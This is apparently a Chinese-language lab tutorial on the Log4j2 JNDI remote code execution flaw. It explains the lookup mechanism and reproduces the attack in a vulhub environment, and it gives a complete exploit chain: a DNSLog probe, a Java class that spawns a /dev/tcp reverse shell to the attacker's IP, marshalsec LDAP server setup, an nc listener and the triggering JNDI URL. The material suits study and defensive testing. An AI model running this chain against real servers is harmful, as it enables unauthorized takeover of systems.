上两篇讲到了JNDI注入和Fastjson反序列化漏洞。如果这两篇都能够很好理解,那么Log4j2漏洞也能够很好理解。由于这里的漏洞利用步骤跟Fastjson反序列化复现步骤差不多,就不赘述。
目录
Log4j2简介
Log4j2是Apache下的流行的Java日志框架,用于记录应用程序的日志信息并进行日志管理。它提供了高度可配置的日志输出,可以将日志信息输出到控制台、文件、数据库等多种目标,被应用于业务系统开发,用于记录程序输入输出日志信息。
Log4j2漏洞原理
Log4j引入了lookup接口来支持在日志输出时获取任意位置的Java对象。通过使用lookup接口,Log4j可以通过适当的配置和调用,动态地从程序运行环境中获取所需的对象,然后将其作为日志消息的一部分输出到日志目标中。
在Log4j框架中,当处理日志消息时,会通过字符检测来查找特定的占位符(例如${})并将解析替换为实际内容,例如${java:version}会被替换为对应的Java版本,这里就是Log4j漏洞的关键所在了:如果不对lookup的出栈进行限制,恶意用户就可以构建特殊的表达式作为占位符,在解析式就会触发恶意行为。
如果Log4j的配置允许使用LDAP或RMI,那么在解析占位符时,Log4j将会执行远程服务的请求并并处理返回结果。这使得攻击者可以执行任意远程代码,造成获取敏感信息、服务器被入侵等严重后果。
影响版本:Apache Log4j 2.x<=2.15.0.rc1
利用条件
- 打印的日志中包括LDAP/RMI协议
- 没有对lookup的出栈进行限制
- 允许外网访问权限
正是因为利用条件比较低,所以利用难度也较低,无需授权即可远程代码执行,所以它造成的威胁等级是严重的。
Log4j2远程代码执行漏洞复现
复现准备
跟Fastjson反序列化漏洞复现准备差不多,需要注意JDK版本
Centos:192.168.15.230
kali:192.168.15.249
先在Centos拉好vulhub环境,然后进行靶场启动
cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d
查看靶场端口,是8983
docker-compose ps
访问网站,通过一些方法(目录扫描啊之类的)可以探测到发送JSON数据的接口:http://ip:8983/solr/admin/cores,这里有个可控参数action,就是这个漏洞的注入点。
漏洞检测
上一篇Fastjson文章说到可以用dnslog来探测漏洞是否存在,这里同样也可以
Dnslog平台:Dnslog.cn
点击Get SubDomin获取一个子域名,我获取到的是:ckp5xm.dnslog.cn
可以访问url:
?action=${jndi:ldap://${sys:java.version}.ckp5xm.dnslog.cn}
刷新Dnslog网站,可以看到有回显,而且回显了Java版本1.8.0_102,那么证明存在log4j2漏洞
利用流程
1、先编写恶意文件LogShell.java,然后进行编译放到攻击机文件夹内
public class LogShell{
static { //static是编译运行时最初会执行的
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.15.249/4444 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
}
}
}
并且在此目录开启http服务:
python -m http.server 5555
可以在浏览器上访问http://ip:5555,查看是否开启成功
2、利用Marshalsec工具开启LDAP服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.15.249:5555/#LogShell" 7777
3、然后在kali攻击端开启监听
nc -lvnp 4444
4、这里可以使用GET方法直接访问LDAP,就直接用URL(GET)访问了,Fastjson复现最后是通过POST方法让目标服务器触发LDAP服务器的
http://192.168.15.230:8983/solr/admin/cores?action=${jndi:ldap://192.168.15.249:7777/LogShell}
最终得到shell
这里也可以使用JNDI注入工具,在前面文章讲到的。
总结
Log4j2是Apache的日志框架,用来记录和管理日志信息的。Log4j2漏洞的原理是因为默认支持解析LDAP/RMI协议,且使用了占位符如{},并会解析里面的内容进行替换,所以攻击者就可以利用这一点构建特殊的恶意的占位符来进行攻击。